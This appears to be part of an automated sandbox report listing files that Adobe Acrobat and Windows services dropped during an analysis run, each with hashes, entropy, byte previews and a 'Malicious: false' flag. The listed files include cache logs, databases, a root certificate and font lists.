File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x4d7fa25c, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.771542162174852
Encrypted:	false
SSDEEP:	1536:bSB2ESB2SSjlK/7vqlC06Z546I50AEzJ+Ykr3g16XWq2UPkLk+kFLKho38o38+W6:baza9vqcHbrq2UyUVWlW
MD5:	26FF8724919EBBB9D07AF2C66F16A805
SHA1:	28BA24033401B733E2AA934E91A92DBA1FC93548
SHA-256:	01F41334B24EEAAB129222CD6E198869FD5A3FF011F2BAF911F8DE9FBDC1DF15
SHA-512:	4EEDDB76E5E7806FD24CF207B773E32B17126823BB7941A723BE57BE8B9611192E417B3B763AD0B28457656BB6A4631F117F021C7E321394247781EEFF4D68B9
Malicious:	false
Preview:	M..\... ...............X\...;...{......................0.p.....#....{.......}..h.r.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......%9...{...............................................................................................................................................................................................2...{....................................9......}....................d].....}...........................#......h.r.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08143032327160313
Encrypted:	false
SSDEEP:	3:Mm//EYeNocE08qrrvr+gvrr/AQv/allVmctlll/Sm1l1:MW8zNCrgn/hGLPPv
MD5:	E2CC288619CDAA0976707A69E2F1C46A
SHA1:	A43A0C4DE3A0B687CCA989811CA4B560F1B73517
SHA-256:	2C1D419583DE205914471B99982E41EAFE89552FCADE3C7ACA1955268F03E537
SHA-512:	45DAB6D472A935AAB6564EDA174AF6AD7BB03972F7116EA74895E3A590278D18AED2A1DBCF32AD491EC2D2F60D13D7DCEE832AE4AEB21127EA56DC6C2929B598
Malicious:	false
Preview:	.........................................;...{.......}..#....{..........#....{..#....{...i..#....{.V..................d].....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.102999869757233
Encrypted:	false
SSDEEP:	6:iO4qVNoqFN+q2PsZ2nKuAl9OmbnIFUtSqVNpZmwsqVNdVkwOsZ2nKuAl9OmbjLJ:7nT+vkcHAahFUtZD/LzV51cHAaSJ
MD5:	EB5A4C495EEBFA0E94052DEC19CC74A1
SHA1:	7255012D4CBCD56E7C10E58571D2FC4DF8034F09
SHA-256:	2DD73A07473165AF4FCEF9723B2B05B9A8E288816C701DA45B00BD68025A63E1
SHA-512:	B8AF7887C1478E22D6CDA1C1F44C0806A7905DD8D0C72C376777F4D95433A04C36D042225E0EE814FD5BC433301147199FC70604DECEAD51F3AB7A80D7A4C155
Malicious:	false
Preview:	2025/01/10-20:19:31.214 129c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:19:31.232 129c Recovering log #3.2025/01/10-20:19:31.232 129c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.102999869757233
Encrypted:	false
SSDEEP:	6:iO4qVNoqFN+q2PsZ2nKuAl9OmbnIFUtSqVNpZmwsqVNdVkwOsZ2nKuAl9OmbjLJ:7nT+vkcHAahFUtZD/LzV51cHAaSJ
MD5:	EB5A4C495EEBFA0E94052DEC19CC74A1
SHA1:	7255012D4CBCD56E7C10E58571D2FC4DF8034F09
SHA-256:	2DD73A07473165AF4FCEF9723B2B05B9A8E288816C701DA45B00BD68025A63E1
SHA-512:	B8AF7887C1478E22D6CDA1C1F44C0806A7905DD8D0C72C376777F4D95433A04C36D042225E0EE814FD5BC433301147199FC70604DECEAD51F3AB7A80D7A4C155
Malicious:	false
Preview:	2025/01/10-20:19:31.214 129c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:19:31.232 129c Recovering log #3.2025/01/10-20:19:31.232 129c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.119044126593126
Encrypted:	false
SSDEEP:	6:iO4qVN6V+WM+q2PsZ2nKuAl9Ombzo2jMGIFUtSqVN3Cz1ZmwsqVN3ClWMVkwOsZV:7ni+L+vkcHAa8uFUtZdW/LdOLV51cHAv
MD5:	7CC7E806E1992745B4FB9DE83AF1F9C4
SHA1:	5FE4DF2B04E9236AE7610AAAD00E8720BD84FC3A
SHA-256:	15D621C3E7593F8A2BFEBA0054BF04DC248B5C1E4EABB580F4BA1958181BEDA8
SHA-512:	CDBBF9DB148A5519510A10B9807BFC4150D909A7B035F2552136294E60D15AB30FDBF7B6F91703F44841C3A8A575DA01C4F3A3BB74C3A842611F82AD1CDA7C85
Malicious:	false
Preview:	2025/01/10-20:19:31.348 1f1c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:19:31.350 1f1c Recovering log #3.2025/01/10-20:19:31.350 1f1c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.119044126593126
Encrypted:	false
SSDEEP:	6:iO4qVN6V+WM+q2PsZ2nKuAl9Ombzo2jMGIFUtSqVN3Cz1ZmwsqVN3ClWMVkwOsZV:7ni+L+vkcHAa8uFUtZdW/LdOLV51cHAv
MD5:	7CC7E806E1992745B4FB9DE83AF1F9C4
SHA1:	5FE4DF2B04E9236AE7610AAAD00E8720BD84FC3A
SHA-256:	15D621C3E7593F8A2BFEBA0054BF04DC248B5C1E4EABB580F4BA1958181BEDA8
SHA-512:	CDBBF9DB148A5519510A10B9807BFC4150D909A7B035F2552136294E60D15AB30FDBF7B6F91703F44841C3A8A575DA01C4F3A3BB74C3A842611F82AD1CDA7C85
Malicious:	false
Preview:	2025/01/10-20:19:31.348 1f1c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:19:31.350 1f1c Recovering log #3.2025/01/10-20:19:31.350 1f1c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.953994703523683
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqXsBdOg2H7caq3QYiubPyP7E4T3y:Y2sRds9dMHC3QYhbC7nby
MD5:	E702209358BD898A50E15305B78C560D
SHA1:	5101419810EE202A85CBBE9FFCF0DA4963816E55
SHA-256:	EC707DBD637CB01EEC38E31F582DF0207463D0371AB2106DB094047D7B8C2C1C
SHA-512:	A10781183F222AA01F970408FB71E463B6960934E7094A879CB159AC5EFD8CFC17F88BA831EF1708EDB9BF71A08FFEE12BCEA72BF390F0CC1C73EAD8770E2B14
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381118382522601","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":138722},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.11","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c51db0d1-7f56-47b3-b4f5-889705747ead.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.953994703523683
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqXsBdOg2H7caq3QYiubPyP7E4T3y:Y2sRds9dMHC3QYhbC7nby
MD5:	E702209358BD898A50E15305B78C560D
SHA1:	5101419810EE202A85CBBE9FFCF0DA4963816E55
SHA-256:	EC707DBD637CB01EEC38E31F582DF0207463D0371AB2106DB094047D7B8C2C1C
SHA-512:	A10781183F222AA01F970408FB71E463B6960934E7094A879CB159AC5EFD8CFC17F88BA831EF1708EDB9BF71A08FFEE12BCEA72BF390F0CC1C73EAD8770E2B14
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381118382522601","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":138722},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.11","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4553
Entropy (8bit):	5.232492852114688
Encrypted:	false
SSDEEP:	96:odxquQuhxqVAq0Czrh6CzxtSzK3/tjsqnlfjejy4XOlPXflr05h:oqupGVTbzrhtzxtSzK3/dRnlLejyE4ve
MD5:	78393935DE153B5DA2B3E6EBF1EFC313
SHA1:	16C2A21A6154AFDF50D2374FD218B8B1A4EB7290
SHA-256:	D28B5460EA8CDF2E404D41632B9813C63806D68E175C0278771E8FC236BB5B2E
SHA-512:	A8521216AC0DF13171EC4D46E72779D6F579B6EB90B5A0732A2EF97C70B78A744091943DFF50B76CEB3F1F0D3BDF2D6307235F784444B2AFB55F510BA4C5E00B
Malicious:	false
Preview:	*...#................version.1..namespace-n.X.o................next-map-id.1.Pnamespace-8da8a5d4_15b5_4830_8c1c_ca066d0e12ed-https://rna-resource.acrobat.com/.0gKY.r................next-map-id.2.Snamespace-81b0e21e_1c2a_4917_a98d_db6892e18c4b-https://rna-v2-resource.acrobat.com/.1^b..r................next-map-id.3.Snamespace-181ade60_1d4c_4d63_87fe_e85b67c781b7-https://rna-v2-resource.acrobat.com/.2....o................next-map-id.4.Pnamespace-73e7b78c_6cea_4091_906b_b0f0cc6a8ce0-https://rna-resource.acrobat.com/.3C[.[^...............Pnamespace-8da8a5d4_15b5_4830_8c1c_ca066d0e12ed-https://rna-resource.acrobat.com/D..B^...............Pnamespace-73e7b78c_6cea_4091_906b_b0f0cc6a8ce0-https://rna-resource.acrobat.com/..Ga...............Snamespace-181ade60_1d4c_4d63_87fe_e85b67c781b7-https://rna-v2-resource.acrobat.com/.;0ca...............Snamespace-81b0e21e_1c2a_4917_a98d_db6892e18c4b-https://rna-v2-resource.acrobat.com/.\.go................next-map-id.5.Pnamespace-5e456334_9beb_4082_9dbc_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.159407255461963
Encrypted:	false
SSDEEP:	6:iO4qVNDWM+q2PsZ2nKuAl9OmbzNMxIFUtSqVNeo1ZmwsqVNoWMVkwOsZ2nKuAl9c:7ndL+vkcHAa8jFUtZD/LSLV51cHAa84J
MD5:	AAFFAE812127B6A4F2F4B867FFC1474F
SHA1:	3BD206BFD0AF8976ACE032DE45DB7ACF4CDA89D8
SHA-256:	37F159E63B293B198D09099136BA47C6CA15A36D6B7DF66D713A591BAC6B04C8
SHA-512:	7CDC36B416F90EEDD0C682436008EE7D1076139BAE15D146FB6399339D2C4040F998C7B2EC6ECEA918BCF6ED826B90611B5A0BF514FFF9D1DEF97A59905796EA
Malicious:	false
Preview:	2025/01/10-20:19:31.681 1f1c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:19:31.683 1f1c Recovering log #3.2025/01/10-20:19:31.684 1f1c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.159407255461963
Encrypted:	false
SSDEEP:	6:iO4qVNDWM+q2PsZ2nKuAl9OmbzNMxIFUtSqVNeo1ZmwsqVNoWMVkwOsZ2nKuAl9c:7ndL+vkcHAa8jFUtZD/LSLV51cHAa84J
MD5:	AAFFAE812127B6A4F2F4B867FFC1474F
SHA1:	3BD206BFD0AF8976ACE032DE45DB7ACF4CDA89D8
SHA-256:	37F159E63B293B198D09099136BA47C6CA15A36D6B7DF66D713A591BAC6B04C8
SHA-512:	7CDC36B416F90EEDD0C682436008EE7D1076139BAE15D146FB6399339D2C4040F998C7B2EC6ECEA918BCF6ED826B90611B5A0BF514FFF9D1DEF97A59905796EA
Malicious:	false
Preview:	2025/01/10-20:19:31.681 1f1c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:19:31.683 1f1c Recovering log #3.2025/01/10-20:19:31.684 1f1c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 13, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 13
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438235856954172
Encrypted:	false
SSDEEP:	384:SeFci5GniBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:qfurVgazUpUTTGt
MD5:	B7466A1D558DB265A27B1BC59657972D
SHA1:	812581407EEF8F6FC9F222CA2864E52EE5BE3934
SHA-256:	CB6F82206B4D4CA1D47DF8210B85F8E7D4B128F4F5FF6649845860CBF6DB2C93
SHA-512:	E441C69D84E1D02DBE8959B09412AE79F3F7B963582936813EDF3CC81341C5474037074F0D2BE7C9A23406A65B62932E2FF88384F88926AB762FF5CAECAFED0C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2128030220857027
Encrypted:	false
SSDEEP:	24:7+tGe6wKTqLLzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9Mzb:7MbWTqPmFTIF3XmHjBoGGR+jMz+LhK
MD5:	6250310903AF261BE996736047A757F4
SHA1:	C6375BD5B95303BEB4780B1905AB1C223820675D
SHA-256:	58D56E27FA3F9EE5C4A9A9511AA4753CFA88A75DF42C4DFF8FE1F34226F92FBB
SHA-512:	EADF899B1BC0DBCF8EC218DD169600ACA4E229DDDDAA31360E7AEE2EF7D6F28764E1E4900A03BE9DC2B1D7B0AABA6D0D24DEE0BAEFBB77EE73BD2CF36268977C
Malicious:	false
Preview:	.... .c.....-P.:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7217198674325385
Encrypted:	false
SSDEEP:	3:kkFkl0752tfllXlE/HT8k+F/JtNNX8RolJuRdxLlGB9lQRYwpDdt:kKt752eT8vNMa8RdWBwRd
MD5:	295DA399675A4F11F11057484727F2A0
SHA1:	E3B71B7C8A2D23B17306E07C26C5B61E0977A059
SHA-256:	990358E5B36B3426049D84714C88AAC3E3E7B7A273622E67D261F8E5769B15A9
SHA-512:	E3DA296A4B12CF854A8F003EB3D0F8A71DC5D1FDE174D1C67249D6B6B5B249CDEAC8F288A3A88B3C3B752E3BDDA83A3E5B3FD5F0763BAE5E9F8A94DCB77699BE
Malicious:	false
Preview:	p...... ..........\|..c..(....................................................... ..........W....[...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1391791584200512
Encrypted:	false
SSDEEP:	6:kKjGL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:bGiDnLNkPlE99SNxAhUe/3
MD5:	539624AFBF067D9AB4AB198C1EAFC158
SHA1:	2B362247FFD144A0A41A923B9D98B0751619C77A
SHA-256:	BB12FD074B695452F76FEA4E330FE4936EACF4D33A79BFA53C6AF65AEAB2E06D
SHA-512:	E04FCAD7BF580EBDD24E0CA1D44AD2455CACC6C4CA939DC896716984D22902B4A2E654B21B93445143C4174E0702DDAACDC86B4D4E53F58DF2E39B78916C51EF
Malicious:	false
Preview:	p...... .............c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5200

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
